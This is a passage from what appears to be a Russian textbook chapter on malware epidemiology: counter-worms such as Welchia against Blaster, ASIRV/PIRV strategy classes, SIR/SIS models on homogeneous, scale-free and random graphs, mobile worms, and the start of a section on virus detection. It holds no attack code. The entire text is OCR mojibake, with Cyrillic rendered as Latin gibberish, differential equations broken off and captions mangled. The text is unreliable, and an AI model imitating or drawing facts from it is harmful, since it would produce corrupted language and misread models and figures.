BOBaJHI TOJIbKO B BHfle HCXOflHMX TeKCTOB II HHK3K0H pOJIH B 6opb6e

c Net-Worm.Win32.CodeRed.b He cbirpajiH. 3aTO «KOHTpnepBb» Net- 
Worm .Win32 .Welchia flOBOJIbHO aKTHBHO IlOyHaCTBOBaJI B nOZiaBJieHHH
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Pmc. 7.20 ❖ lloAaB/ieHne nepeeM Welchia 
annfleMMM sepBfl Blaster

anHiieMHH Hepea Net-Worm.Win32.Lovesan. Xopom o sto y Hero nojiy- 
HHJiocb hjih HeT, cyaHTe caMH (n o  MaTepnajiaM o r Trend M icro ).

M o jk h o  y n o M a H y Tb  TaioKe « b o h h u >  HepBeii apyr n p o TiiB  apyra, n p n - 

MepoM K 0 T0 p b ix  MoryT cjiyjKHTb cjioacHHe B3anM00TH0meHHa Meatfly 
ceMencTBaMH Net-Worm.Bagle h Net-Worm.Netsky, acepTBaMH Hero 
CTaJiH 3a0flH0 Net-Worm.Mydoom h  Net-Worm.Mimail. Bnpo'ieM, Bee 
o h h  pacnpocTpaHHJiHCb liepe3 aJietcTpoHHyio rio'iTy, a b s to m  cjiyqae n p n - 

MeHUMbi HecKOJibKO apyrne MoaeJiH pa3BHTHH h noaaeaeHHa annaeMHii.
HHTepecHwe co6mthh npoH3omJin Becnoii 2011 r.: anHfleMiia crapHH- 

Horo nepBa Net-Worm.Slammer, noTiixoHbKy TjieBiiiaa b TeHemie 8 JieT 
b yKpoMHMX yrojiKax MirrepHeTa, Bflpyr npaKTHHecKH MrHOBeHHO (b  Te- 
neHHe c j t o k ! )  npeKparajiacb. HeKOTOpbie cneuHaJincTbi cBH3biBaioT «bu - 
MHpaHHe» Net-Worm.Slammer c aeaTejibHocTbio KaKoro-To KOHTpiepBa, 
KOTOpblH npoH3Beji uejieHanpaBJieHHyio aTaKy Ha npoTHBHiiKa h caMo- 
yHHHTOJKHJica. IIpaBaa, b «aJibTpyii3M» HeH3BecTHoro BupyconncaTejia 
n jioxo BepiiTca. CKopee Bcero, HMejia MecTo «3aHiicn<:a TeppHTopim» co 
CTOpOHbl «KOHKypeHTa». KcTaTH, eCJIH «KOHTpMepBb» He BaKUHHIipOBaa 
cepBepu, a «3am cTKa» HHTepHeTa 6biJia HenojiHoft, to qepe3 HeKOTopoe 
Bpewa Net-Worm.Slammer nacTHHHo B0CCTaH0BiiT yTpa'iennbie no3H- 
UHH. IIpOBepHM1?

KaK 6bi t o  h h  6buio, «KOHTp'iepBH>> Bnojrae M oryT  paccMaTpHBaTbca b 
KanecTBe opyacn a  npoTiiB ceTeBbix ariHaeMHH. BnpycoaoraMH-HccJieao- 
BaTeaaMH (HanpHMep, S. Tanachaiwiwat H3 YHHBepcHTeTa fOaaiofi Ka-

’ KaK BBIHCHHAOCb Hepe3 HecKOJibKO MeCHlteB, MMeHHO 3TO II npoHrjom.iio!
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iiH<|x>pHnn [ 6 7 ]  h jih  Z .  M .  T a m i m i H3 Apa6o-aM epH K aH C K oro  ynH B epcn - 

TeTa b  IlajiecTHHe [6 8 ]) pa3pa6 oTaHo h  H3yHeHo HeM ajio pa3noBH jinocTeH  

«KOHTpHeBeK». AaBaHTe nepeHHCJiHM uanoojiee THtiHHHbie cxpaTeravt no- 
BeaeHHa , H3 K 0 T 0 p w x  CKJiaziMBaeTCfl «xapaicrep» T o ro  h jih  HHoro m noTe-  
TH H ecKoro  h jih  p ea jib H o ro  «KOHTpvrepBfl».

CTpaTeriiH  noHcica ue.'ien a jia  pa3MH0jKeHHa:

O  A  (active) -  aim iBHO cicaHHpyeT aapecHoe n p 0 CTpaHCTB0 , HanpH
Mep cjiynaHHHM o6pa30M;

O  P  (passive) -  naccHBHO ameT nonbiTKH HanaaenHfl c apyroro  ygjia 
c e n i h  TOJibKO Toraa ^KOHTpaTaKyeT*.

C T p a T e n iH  pa3 M m m en n si:

O  S  (su scep tib le ) -  3a p a a c a e T  «3£ o p o B b i e »  Maimmbi;
O  I (infected) -  3apa/KaeT MauiHHbi, Ha KOTopbix n p u c vT C T B y e T  « it j io - 

XOH> HepBb.
CTpaTerH H  6 op b 6b i c « i i j io x h m »  nepBCM:

O  R  ( r e m o v e )  -  y a a jia e T  « n j i o x o r o »  HepBH c  M auniH u;

O  V  (vaccinate ) -  « B a ic m iH H p y e T »  MauiHHV, a e jia a  ee  HeBocnprntM - 

hhboh flJM  aajibHefluiHX sapaxceH H H .

Phc. 7.21 ❖  lOiaccMcJsMKauMfl 
CTpaTernti noBefleHnq «KOHtpHepBeM»

B  GooTBeTCTBHH c 3T o h  KJiacciK^HKanHefl xapaicrep noBe/ieHMH « k o h t p ~ 

H epBeH» Net-Worm.Win32.CodeGreen h  Net-Worm.Win32.Welchia
Mo>KeT 6biTb onncaH KaK «ASIRV», a Net-Worm. Win32.Crclean -  KaK 
«PIRV». B p o / W T  c j i y x i i ,  m t o  b  iie a p a x uccjieaoBaTeJibCKHX u e iiTp o B  

M i c r o s o f t  aKTH BH o H 3yiraioTc.M h , b o 3.m o >k h o , aaace t o t o b h t c h  k  B iieap e- 

h h io  cxeM bi «ARV» h  «PRV» [ 7 0 ] ,

Bee M oaejiH  «K O H Tp iiepBefi>> h b j w u o t c h  o6o6iueiiHHM H paccM O'rpeH- 

h m x  Bbime KJiaccH necKHX S IR - h  SIS-M oaejien . 11 pn s t o m  cocTo aH H e R
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cooTBeTCTByeT yany cera , 3apaaceHHOMy, BbUieneHHOMy h  BaKipranpoBaH- 
HOMy «KOHrpHepBeM». Bot HeKOTOpbie MOfle/iH «KOHTpHepBeH»'.

«ASIRV-KOHTpHepBb» aKTHBHo cKaHiipyeT aapecHoe npocTpaHCTBo. 
3apaaca» Bee, h to  bo3mojkho. YaTiH, paHee 3apaaceHHMe «ruioxMM» HepBeM, 
oh JieHHT h BaKimHHpyeT. 3aecb h aajiee rrpeanojiaraeTCfl, h to  I 0 =  Rq =  I. 
CooTBeTCTByiomaa CHCTeMa flii(J)(})epeHmiaJibHbix ypaBHeHHH:

dt {  N  }  N

«PIRV-KOHTpHepBb» acjeT nonbiTKH Hana/ieHHa co ctopohw  y3Jia ce
TH, 3apaaceHHoro «naoxHM» nepBe.M, KomipyeTCH Tyaa, yaajxaeT «conep- 
HHKa» h BaKHHHHpyeT cHCTeMy. 3 T0My nepBio CooTBeTCTByeT CHCTeMa:

dt N

«APSIRV-KOHTp'iepBb» pea.riH3yeT K0M6nHar{Hf0 BceB03M05KHbix 
CTpaTeraii noncKa uejiM. 3apaaceHHH h  npoTHBOfleiicTBiiH «ruioxoMy» 
nepBio, BKJUOHaa aicTHBHbiH noHCK h  «KoirrpaTaKy». CucTe.wa zm^xJiepeH- 
UHajibHbix ypaBHeHHH 6yaeT BbirjraaeTb TaK:

06biH H o npeanojiaraeTCH, h to  «K om pH epB b» hbjihctch cneunajibHo  

M0flH(J>HijHp0BaHH0H Biipyco.ioraMH pa3HOBHflHOCTbK» «iu ioxo ro »- HepBH, 
npn 3tom P =  y. H o nacTO HHTepecyeT h oojiee «T ® K e ;ioe » TenenHe ann- 
aeMHH, Korfla P  >  y .  B ot pe3yjibTan>i MoaejinpoBaHita H i m  p  =  2 ,  y  =  1 ,  

N =  1 0 0 .  Jlo/i H0 Mep0 M ( 1 )  npMBO/iHTCH KpiiBan noBeaeHHK «n ;io x o ro »  

nepBH a m  loiacciinecKOH SIR-MOfle.iH  KepM aKa-M aKKeim piiKa, a HOMe- 

p a  ( 2 ) ,  ( 3 )  h ( 4 )  xapaKTepH3yioT pesyjibTaTbi B03fleHCTBHH Ha Hero co c to -  

pOHbl « P I R V - » ,  « A S I R V - »  II « A P S I R V - K O H T p H e p B e H »  COOTBeTCTBeHHO.

1 M o a e .™  6e3 «RV» He paccM aipH BaioTea, Tan Kan o h h  He rap an T itpy ioT  n o6 ea w  

■«KOHTp'lepB3».
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Pmc. 7 .22  ❖ KpMBbie pa3MH0xeHMfl ceTeBbix HepBeii, 
noflaB/ifleMbix «KOHTpHepBflMM»

B ee  nepeHHC/renHbie paaHORH/iHocra <-KOHTpMepBH», corJiacuo pe3yjib- 
TaTaM Mozte-fmpoBaHHH, ycneuiHO cnpaBJWioTca co cboch  3aaaHeH -  no - 

AaBJieHiieM srniAe.MHH «n ; io x o ro »  HepBH.

M w K H O  OTMeTHTb, MTO BeCbMa 3c|)([x;KTHBeH CBepXarpecCHBHblH BapH- 

aHT «APSIRV». Ero o ch o b h o h  He/tocTaxoK -  aKcrpe-M ajibHoe H cno jib - 

30B3H iie ceTeB b ix  pecypcoB: TpacJ)HKa, onepaTH BH oii naMHTH n n p on ec- 

c o p H o ro  BpeMeHH y3,TOB. KpoMe T oro , Ha HaMaJibHbix c r a ^ a a x  pa3BH Tiw  

s row eM H H  «KO H TpH epBb* He M ernaeT / locTH rayTb CBoeMy con epH H K y iiom- 

t h  50%  3apa>KeHHoro aapecH oro  npocTpaHCTBa.

BapiiaHT «  P IR  V »  Ha HanajibHMX cTa^Hax pa3Bim ia annfleMHH pa6oTa- 
eT oneHb bhjio, a4x{)eKT e ro  HaMimaeT npoaBJWTbca JiHiiib nocjie to to . KaK 

« r w o x o H »  MepBb 3apaJKaeT n o n ra  90%  V3jiob c e ra . 3aTO noTOM «KOHTp- 

M epBb» ziOBOjibHQ 6 bicTpo HaBepCTbiBaeT ynymetiHoe, o oxo/ ia cb  n p n  stom  

npaeM JieM O MajibiM  kojihmecTBOM ceTeBbix p ecyp coB .

B apH airr «ASIRV» 3 aHHMaeT npoMexcyroHHoe noJioaceHHe.

Ecjih cyflHTb no piicymcy, to  3(|)cfx;KTHBHee Bcero pa6oTaeT «a;ipec- 
Hoe» Jieqeiiife, cooTBeTCTByiomee SIR-MOfleJiH: ami/ieMHH «n.aoxoro» 
MepBH nOCTOHHHO HaX0£JITCfl IlOfl KOHTpOJie.M. BblXOflHT, OHO 3(j)(J)eKTHB- 
H ee, MeM npiiMeHeHHe caMbix arpecciiBHbix «KOHTp'iepBcH»? Kohcmho a<e 

hct. Haao HMeTb b Bn;iy, mto name cpaBHeHHe 3<|)c))eKT0Ji SIR-Mo/te/M h 
«K O H TpH epB eii» He coB ceM  KoppeKTHo. B peajibHOCTH Be./niMHHa «CKopo- 
c t i i  na;i(!MeJiHH» y jum SIR-Moaejm  HMeex 3HaMeHiie, na n o p a ^ oK  M eiib-
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rnyio, neM fljm jno6oro «K0HTpnepBH», bcab Bee onepauHH no cKaiHBEHHro 
H yCTHHOBKe « 3anJiaTKM> npHXOflHTCH BUnOJIHHTi BpynHyio. YpaBHHTb 
rnaHCH n03B0jmji0 6u  npHMCHemie cxeM «A R V »  h «P R V » , npeaycMaT- 
piiBaiomHX aBT0M3THHecK0e o6Hapy*ceHHe h o6e3Bpe>KHBaHHe « 3apa3- 
Hhix» y3JioB cera [70].

7.3.2. SniiAeMHM n0MT0Bbix Hepsen, <J)atijioBbix 
m 3arpy30MHbix BiipyeoB
Mose.iH «MeaJieHHbix» ann/ieMHH, BH3HBaeMbix noHTOBhiMH nepBHMH h 
4)aHJI0BMMH BIipyCaMH, HMeiOT CBOH 0C06eHH0CTH.

Bo-nepBhix, b h x  o ch o b c  JieacaT rpa<J)bi TaK Ha3biBaeMoro « 6e.iMac- 
uiTa6Horo» («sca le -free ») Biuja. 3 t o  rpac|)bi, a,jm KOTopbix .raiiib hcm ho- 
rne y3.iM HMeiOT 6ojibmoe K0/niHecTB0 coceaeii. H  Hao6opoT, CTeneHb oc- 
h o b h o h  Maccbi V3jiob HeBejniKa. CnHTaeTca, h to  rpacj) «6e3MacmTa6eH», 
ec.TH aonx Pk =  Nk/N  ero V3jiob co  cTeneHbio k npHMepHo paBHa Pk ~  k"<, 
r;ie 2 < y < 3 .  Ha pac. 7.23 JiHUib oflHH yaeJi HMeeT neTupex h oahh -  Tpex, 
3aT0 Bee ocrajibHbie -  no eaHHCTBCHHOMV coceay. 0 6 m h h o  rpa(|iw TaKoro 
rana hanoMHHaioT « jie c »  c MHoroHHCJieHHbiMH aepeBbHMH, pacTymiiMH 
H3 He6o.Tbiuoro KO/THHecTBa o 6 u {h x  Kopnert.

Pmc. 7.23 ❖  npnMep 
«6e3MacLUTa6Hoii» cetn

3 t o  03HaHaeT, h to  bo3mo>khocth BiipyeoB k pacnpocTpaHeHmo oneHb 
orpaHHHeHbi. Biipyc, Haxoflam m icji b y 3jie «A», He .woaceT HanpHMyio 
nonacTb b yseii «C», eMy H eo6xosH M O  cnaya.na n e p e H ec n icb  b V3eji «B » 
h t .  fl. -  npocjieaoBaTb no Bceii uenoHKe y3.TOB, B ea v iiu ix  k uejin. A Ha 
«r0M0 reHH0 M» rpacjje nepm o  a  jih  b t o t o  noTpe6 oBa;icH 6 bi scero oahh  
npwacoK. KpoMe to to ,  Ha <<r0M0reHH0M>> rpac[>e nepB ii, Haxozytmnecji b 

.'IK)6 oM V3Jie ceTH, HMe.HI B03M0>KH0 CTb paccbLiaTb  CBOH KonHH Bn.lOTb £0  
no.m oro HcnepnaHHs: H e3apaxeH H oro  a z ip ecn o ro  npocTpaHCTBa. Ha «6 e3 - 

M acu iTa6H 0M » m- rpatjx: 3K3t;MrL’m p  B iip yca , 3apa3HB B cex  cbohx cocea e ii, 

TepneT cn o co o n o cT b  k  p acn p ocrpaH en H io .
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Bropan oco6eH H O cn> -  oneHb M ajieHbKoe 3HaneHHe Kos^x jH iim eH Ta p. 
ITo jih m h om v onbiTy, HHTepBa.5 BpeMeHH M eacay zibvmh aKTaMH n epeH o- 

ca <])aHJioBoro h jih  3arpy30H H oro  BH pyca c MauiHHbi Ha M auiHHy MoaceT 

cocTaBJiHTb HecKOJibKO M ecaneB  h jih  aaace JieT. BnpoxieM, jjjisi i io m to b h x  

HepBeH THnHMHoe 3HaneHHe 3Toro koscJmJhuiheHTa cymecTBeHHO Bbiuie -  
f lo  HecKOJibKHX a c c h tk o b  h  aaace coTeH  K on n ii b cyTKH.

HaKOHeq, nocJieflHHH BaacHaa 0C06eHH0CTb -  HenpHMeHHMOCTb no- 

hh thh  «BaKUHHHpoBaHHH» K JieMeHHio (J)aHJi0B0H «3apa3bi». 0 6 pa 6o iK a  

KOMnbroTepa aHTHBHpycHHM cicanepoM h BoccTaHOBJieHiie nepBOHaMajib- 

Horo coc toh h h h  3apa>KeHHbix nporpaMM em e He o3HanaioT hcbo3m o*ho- 

c th  noBTopHoro 3aHoca aToro ace BHpyca Ha 3 to t  ace KOMnbK)Tep.

Bnpo^eM, Bee nepeHHCJieHHue oco6chhocth xapaKTepHbi 6ojiee a jih 
1990-x roaoB  -  3I10XH a h ck c t h aHTHBHpycnoro CKaHepa A id s T e s t . B  co- 

BpeMeHHbix ycjioBHHx ohh bjihhiot Ha pacnpocTpaHeHiie 4>aiiJioBbix h  3a- 

rp y3 0 H H b ix  BiipycoB Bee MeHbuie h MeHbiue. B eflb  BHpycbi BnouHe M o ry r  

pa3H0CHTbca no  MHpy npn noM om u H irrep  H e x -q e pBeh b  y c jio B H a x  « to m o -  

reHHOCTH» cera h 6ojibmoro 3HaiieHHH p. A  npHMeHeHHe aHTHBHpycHbix 
MOHHTOpOB, nOCTOflHHO HaXOflHIUHXCH B naMHTH H fijIOKHpyiOUtHX npO- 

HHKHOBeHHe «3apa3bi» Ha KOMnbioTep npn momoihh cbeMHbix H o cnxe jieii, 

SKBHBaJieHTHO HaJIHHHIO H M M yH H TeTa npOTHB BHpyca.
TeM  He M eH ee onpe/iejieH H an aK TyajibH ocTb y  MOfleJieft, y<niTbiBaiomHX 

nepenHCJieHHbie oco6eH H ocTH , Bce-TaKH ocTaeTcn .

A H aJ iH T iw ecK oe  HccjieflOBaHHe pacripocrpaneHHa BiipycoB «KJiaccn- 

necKHXs> THnoB oveH b  3aTpyzuieH0. n03T0My n am e Bcero H c n o jib 3 y e T « i 

HMHTauHOHHoe M oaejinpoBaH H e. HanpiiMep. b pa6 oT e  R. Pastor-S a torras  

^PacnpocTpaHeHHe amifleMHH b  6e3M acu iTa6H bix cexax» npiiBO/iHTCH pe- 
3yjibTaTbi CTaxH CTiwecKH x SKcnepHMeiiTOB h jih  10 pa3JiHHHbix BapnaHTOB 

ceT eft c pa3M epaM H o t  1000 a o  8 500 000 v 3 jio b  h  co  100 pa3jiHMHbiMH 

HanajibHbiMH pa3MemeHHHMH BH pycoB b }'3.iax [54]. A  b p a6 oT e  Jasm in  

Leveille ^ P a cn p o cT p a n eu H e  .anH/ie.MHit b T exH O jion iH ecK iix  c c t h x »  [48] -  
Ha 1000 pa3JiHHHbix cjiyMaHHHx KOHcJjHrypanHHX «  6ea m a c m  ra 6h m x »  ce- 
T efi c KOJiiiHecTBaMH ya.ioB o t  6250 zio 100 000 h  paaJiHHHbiMH c o o th o -  

UieHHHMH p “  Y/P-
B u B O flH  TaKOBbi. H a  nepBOM sTane pa3BHTHH srm aeM HH «3 a p a :ia » em e  

He o6uapy>KHBaeTCH HH aHTHBHpyCHhlMH CKaHCpaMH. HH MOHHTOpaMH, 

H pa3M H oacaeTca b  c o o t b c t c t b h h  c S I-M o a e jib io  n o  jio th c th h c c k o h  KpH- 

BOH C MaJIbIM KOScJxJwnileHTOM P_

I lo c j ie  Toro KaK aHTHBHpycHbie cpeac.TBa HaHimaiOT pac,H03HaBaTb 
Biipyc, iia'imiaeTCH cxa/ina n ozoB J ien iia  snH/ieMiin. H ecM oxp fl Ha to mto 
cyTb aToro 3Tana MoaceT 6wrb oniicana KJiaccHHecKOH SIS-Mojiejibio,
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«6e3M acm Ta0H0CTb«- rpa<J)a b h o c h t  c b o h  KoppeKTHBM. Ilpeame Bcero 3T0 

He3aBHCHM0CTfa HTOTOBOrO pe3yJIbTaTa OT BejIHHHHbl «3nH fleM HHeCK0r0 

nopora»> p 0. K o jih h c c tb o  3apa>KeHHbix MaoiHH Bcer/ia, npn jik>6om o th o -  

IIieHHH p  =  Y / P .  aCHMFITOTHHeCKH CTpeMHTCH He K HeKOeMV np  O M e>KyT OM - 

HOMy 3HaHeHHK>, a k  Hyjiro.

3 tO  O&C.TOHTejIbCTBO nOflTBepsKflaeTCH H pe3yj!bTaTaMH HMHTaUHOH- 

Horo MOaeJIIipOBaHHfl, H CTaTHCTHHeCKHMH HCCJieflOBaHHHMH 2KH3HeH- 

Horo ip n o ia  8 1 4  BHpycHbix ceMeftcTB pa3JiHHHtix ranoB Ha npOTajKeHHH 

5 0  MecaueB b 1 9 9 6 - 2 0 0 0  ro/iax. npoBe/tennbiMH R . Pastor-Satorras h 
A .  Vespignani [ 5 4 ] .  Ha o6 o h x  piicyHKax n o  ropif30HT3JiH otjjo jk ch  cpoK 

cymecTBOBaHHa BHpyca b «a h k o h  npn po fle*, no BepTHKajiH -  BepoHT- 

HOCTb «BbDKHTb».

Pmc. 7.24 ❖ XapaiaepMCTMKH XM3HeHHoro umcna 
« K/iaccMHecKMX» BupycoB: a) pe3y/ibTaTbi MOAennpoeaHna;

6) peaynbTaTbi MOHHTopunra
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TaKHM 06pa30M , n pn  npaBHJibHOM aeneiiHH n o 6 eaa n a a  «KJiacciiMecKH- 
mh» BHpycaMH aocTHraeTCH B ceraa. HeM ace oobaciraiOTca h x  KpynHo- 
MacuiTaSHHe snnaeMHH, He HMeiomHe, Ka3ajiocb 6bi, uiaHcoB Ha umpoKoe 
pacnpocTpaHeHHe?

O n p eaeaaio m yio  p oab  b bo3h hk h ob ch hh  snnaeMHH nrpaeT n cx o a -  
Hoe KOJiHHecTBO IQ 3apaaceHHbrx MauiHH. *Iam e Bcero KpynHbie snnaeMHH 
«KaaccHHecKiix» BHpycoB HaHiiHajincb c MaccoBbix paccbuioK 3apaaceH- 
h u x  HocHTejieii (HanpHMep, MoacHo BcnoMHHTb 3arpy30HHbiH Bnpyc 
Michelangelo b 1 9 9 2  ro a y )  n a n  3apaaceHiia coaepaciiM oro o 6m eaocTyn- 
Hbix B B S , KOHcJ)epeHUHH, cfjaiijioBbix apxiiBOB (KaK s t o  6 biao b ca y n a a x  
c BHpycaMH W in9X .C IH  b 1 9 9 8  ro a y  h Win32.FunLove b 2 0 0 0  ro s y ) .

/Ipyroft BaacHbiH (fjaKTop -  npoaoaacHTeabHOCTb n  «aaTeH TH oro» 3Ta- 

na. HeKoxopbie Kpynnw e amifleMHH xapaKTepH30Bajmcb BecbMa fljnrrejib- 
hum h -  n o  roaa  H aojib ine! -  3aaepaacaMH Meacay noaBaeHneM BHpyca b 
«flH Koii n p n poae*  h o6HapyaceHiieM ero Bnpycoaora.vtn. 3 t o  xapaKTepHo 
He TOJibKO 1 9 8 0 -x  roaoB  (3arpy30HHW H Biipyc Brain), h o h nna Ha- 
ihhx AHeii (BHpyc W in32.Induc).

HTaK, KpynHbie snuaeMHH «Kaaccff4ecKHXi> BiipycoB -  He 3aK0H0Mep- 
HocTb, a pe3y;ifjTaT yaaHHoro (jinx  B iipyca) c r e lieHHa oocToaTejibCTB.

7 .3 .3 . SnuA eM M ii M o6iuibHbix sep sen
M o6 njibHbie MepBH Hcnoab3yioT pa3;iHMHbie MeToabi pacnpocrpaHeHHa, 
COOTBeTCTBeHHO, K MOflejIHpOBaHHK) 3nHaeMHH npiIMeHHMbl HeCKOabKO 
noflXOfloB. HanpHMep, ariHaeMnn nepBeii ceMeitcTBa Comwar, p acnpo- 
CTpaHHIOmHXCH 4C HOMepa Ha HOMep», npaKTHMeCKH HUM CM He OTJIHMaiOT- 
c a  o t  ainiaeMHH HHTepHeT-HepBen Ha «roMoreHHOM» rpacjx; KOHTaKTOB.

H an 6 oa e e  caoacHbiM h HHTepecHbiM npeacTaBaaeTca H3yHemie snuae- 
mhh HepBeii, pacnpocTpanaioiuiixcH  Ha He6oabiiiHe paccTOHHHa npn no- 
moiuh 6ecnpoBoaHbix iiHTep(J)eHcoB ra n a  W iF i Han B lu eto o th  (HanpH
Mep, Cabir). C e r a , xapaKTepii3ViomHe cHCTeMV CBH3eii b stom  caynae, 
Ha3bmaioTCH «cneunaabiibiMH» (« a d  hoc>>). E cjih  nocMOTpeTb Ha raKyio 
ceTb, t o  b Hen mo»cho o6HapyacHTb ii aoKaabHbie ynacTKH c tio h th  «fomo- 
reHHon> CTpyKTypoH (TaK Ha3MBaeMbie «TecHbie MHpbi -  Sm all W o rld s*), 
ii (fjparMCHTbi, nocTpoeHHbie no «6 e3 M acw Ta6H b iM » npaBH.aaM, h nenoH - 

kh y3aoB, h neTan, h MHonie apyrne cTpyKTypu, KOTopbiM eme He ripnay- 
MaaH Ha3BaHHa. CaeayeT TaKace HMeTb b BHay, h to  T o n o a o rn a  c c ti i  H3Me- 
HaeTca bo BpeMeHH: OTaeabHbie peopa n pon aaa ioT , apyrne n oaB aa ioTca .

} lan n o aee  6aH3KHMH aocTpaKHHHMii a-'ia n o a o 6 Hbix ceTefi hbjihkjtch  
TaK Ha3biBaeMbie «cayqaHHbie» rpa(J)bi: cayHafmbift rpa(f) Paao (R R G )  h 

rpacf) co  caynaHHOH reoMeTpnen (R G G ).  O h h  p a3aiiHaK>TC« MeroaaMH 
nocTpoeHHa.
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a 6

Phc. 7.25 ❖ CnyHafiHbie rpacf>bi:
a) «reoMeTpnHecKMii» rpa<t>; 6) rpa<t> PaAO

B nocTpoeH H H  rpa<|>a co  cJiynaiiHOH reoMCTpHCH ynacTByiOT «Koop/w- 
H aTb i» y3Ji0B. H anpH M ep, e c jin  cHHTaTb, h to  rpacj) pa3M em eH b e/tHHHH- 

hom  KBaapaTe, Tor/ta KaacaoM y y3.ny npnnHCbiBaioTCJi KoopAH iiaTb i, iip eA - 

CTaartarom ne c o 6 o h  paBHOMepHO pac ripe AeJieHHbie Ha HHTepBaJie [0 ..1 ] 

c jiyn aH H tie  BejiHHHHbi. 3aTeM  a jih  KaacAOH n a p w  \'3jiob c  HHZieKcaMH i  h 

j  paccHHTbiBaeTCH «paccTO H H H e» rg, h  p e6 p o  M eam y y3JiaMH np0B0/iHTCH 

b to m  cJiynae, e c jn i paccTOHHiie MeacAy hhm h He npeBb iu iaeT  3apaHee Ha- 

3H aneH H oro «p a A H y c a »  r0. Oco6eHHOCTbro T on o jio rH H  no/io6Hbix rpacJ>OB 

HBJIHeTCfl 3HaHHTeJIbHOe KOJIHMeCTBO «TCCHbIX MHpOBK

CjiynaHHbiH rpa<J> Pa/io nojiyHaeTCH H3 «nojmoro» rpac|)a, KaacAoe pe6- 
po KOToporo 0CTaeTCH c 3apaHee Bbi6paHHOH BeposrmocTbio p  h yAajiMCT- 
CH C BepOHTHOCTblO 1 -  p.

KaK ahajimthheckhe pacueTbi, TaK h  peay jib raTb i HMHTamioHHbix 3kc- 
nepHMeHTOB noKa3biBaioT, hto no cbohm CBOHCTBaM «cjiyHaHHbie» rpa(|>bi 

3aHHMaioT np0MeJK>T0HH0e nojioacemie MeacAy «ro M o reH H b iM ii» h «6e3- 
MaCUITa6HbIMH».

B nacTHOCTH, anHiieMHH SIS-Tiina xapaKTepH3yiOTCfl najiHHHeM HeKoe- 
ro  ypoBHH paBHOBecHH (eq u ilib r iu m ), k kotopom v acHMnTOTHHecKH crpe - 
MHTCH no JJOrHCTHHeCKOH KpilBOH KOJIHHeCTBO H HtflHHIipOBaHHblX V3AOB. 

'I cm 6oJibiue cpeflHJW CTeneHb BepiiiHH y3Jia k, TeM ojinace s t o t  ypoBeHb 

k  CBoeMy aHaJiory, xapaKTepH3yromeMy smiAeMHio b «roM oreH H bix» ceTHX. 
Ha puc. 7.26a npHBe/ieHbi pesy jibT ara  MO/tejnipoBaHHH a jw  Tpex th iiob  

RRG-ceTeii, coctohid;hx H3 10 000  yanoB: 1 ) ajih  ceTH c «roM oreH H oS »  

CTpyKTypoft; 2) ajih cjiynaHHOH ce m  c k = 8; 3) ajih  cjiynaHHOH ceTH c k = 2.
SmiAeMHH SIR-rana BeAyT ceon iipnMepno TaK ace, KaK h na «roMO- 

reHHbix» ccthx: HaojiroAaeTca KpaTKOBpeMeHHbiH Bcn.TecK KOJiHnecTBa 
sapaaceHHbix MarniiH /(/), Korophiii cMenaeTca acHMnTOTiinecKHM criaAOM 
BiiAOTb ao 0. 3KcnepnMeHTbi (npoBeAeHHbie Mazir Nekovee Ha cjiynaft- 
HblX CCTHX H3 10 000  y3JIOB [5 3 ]  )  IipOAeMOHCTpHpOBaJIH, HTO b  CeTHX c TO-
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Pmc. 7 .2 6  ❖ Pe3ynbTaTbi MOflejiupoBanua annfleMnw 
b  «ad hoc»-ceTqx: a) SIS-Moflenb (no J. O. Kephart [44]);

6) SIR-MOflenb (no M. Nekovee [53])

nojiorneH  R R G  annaeMHH Mo6njibHbix BHpycoB flo;i>KHbi npoTCKaTb 6o- 

nee «o c r p o » ,  ho  3aBepmaTbCH 6biCTpee, qeM Ha ceTHX c Tonojiorneii R G G .
KaKHX-Jinoo AocTOBepHbix aaHHbix o npoTeKaHHH peajibHbix 3nnneMnfi 

CpeaH Mo6nJIbHbIX Tejie4>OHOB, nJlaHIIieTHHKOB H Hf:T6yKOB B OTKpblTOM 

AOCTyne noKa HeT, noaroMy npoBepHTb aaeKBaTnocTb paccM OTperawx 

MOfleAefi He npeflCTaBJineTCH bo3mo*hmm.

7.4. 06Hapy>KeHMe BHpycoB
-  . . J J - H a d o  y v u m b c s i,  a  m - m o  e c u  a m a  m -m o z iu i  

a io e a ,  c - c n m p b e ,  < p -< p O K y c u -n O K y c u  c  n - n c u x o -  

n o jis iM U , n - n p u M u m u e . . .  / l - d e d o e c m e  n - n p u e M -

UUKU...

A. H B. CTpyraUKne. 
« n o i i e / K : . T b H H K  H a m m a e T C H  b  c y 6 6 o T y »

B n ep B o ii rjiaBe K im m  6biJin KpaTKo paccMOTpeHbi pasJiH'iHbie t h iih  

aHTHBHpycHbix n porpaM M : CKaHepw, tf>arn, iiH cn eK T op u , M O H irropw , BaK-
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UHH3TOpbI H npOMHe. U pH H U m i aeHCTBHH 6oJIbIUHHCTBa H3 HHX OCHOBaH 

Ha d em eK m u p oea uu u  (o S u a p y jK e H u u ) BHpycoB. IJe.'ibio aeTeKTH poBam iH  

HB.’iaeTCH pa3DneHHe Bcex nporpaM M , n on aB in n x  b n o jie  3peHHh aHTHBH

p yca , Ha flBa KJiacca:
O  «3/ iopoB b ie »;

Q  «6ojibHbie», to ecrb jihoo aapaaceHHbie BHpycoM, jih6o npeziCTaB- 
jLHfomne co6oh BHpyc per se.

B  o6meM c jiyn ae  n pou e/ iyp y  aeTeicnipoBaHHH BHpycoB mojkho pa3ae- 

JHiTb Ha c jie a y ro m iie  3Taiibi (cm . p u t.  7.27).

nporpaMMa ■ BwfieneHne m c5op 06pa6otKa «
xapaKtepMctHK amnm

►Bwsoabi

Pm c . 7 .2 7  ❖ Sianu npoueAypbi fleTeianpoBaHMfl BupycoB

M  eTO/[bi axana, iipezniariHa'ieHHoro a  jih nbiaejieHMH h c6 opa xapaKre- 

pncTHK «n 0/i0 3pHTejibH0 H >> nporpaMMbi, uejiecoo6 pa:mo paaaejiHTb Ha: 

O  cTanm ecKHe -  onepHpyjom ne c aBOHHHbiM 06pa30M nporpaMMbi 
Ha HocHTe.ne HiicfxjpMaHMH hjih  b naMHTH;

O  AHHaMHnecKHe -  paccMaTpHBaroimie nporpaM M y KaK npouecc Bbi- 
nojiHeHHH aJiropHTMa, t o  ecTb KaK nocjiejioBaTejibHyio cMeHy co- 

CTOHHIJH.
B  cbok) 0 'iepe/ib. mcto/im aTana, nocBHiueHHoro o 6 pa6 oTKe aaHHbix h  

aHaJiH3y xapaKTepHCTHK, npHHHTO pa3fleJiHTb na:
O  (J)opMaJibHwe -  onepnpyioinHe cJwKCHpoBaimoH Moaejibio BHpvca 

h  ncnoJib3yiomHe 3apaHee onpeaeJieHHHe ajiropMTMbi;

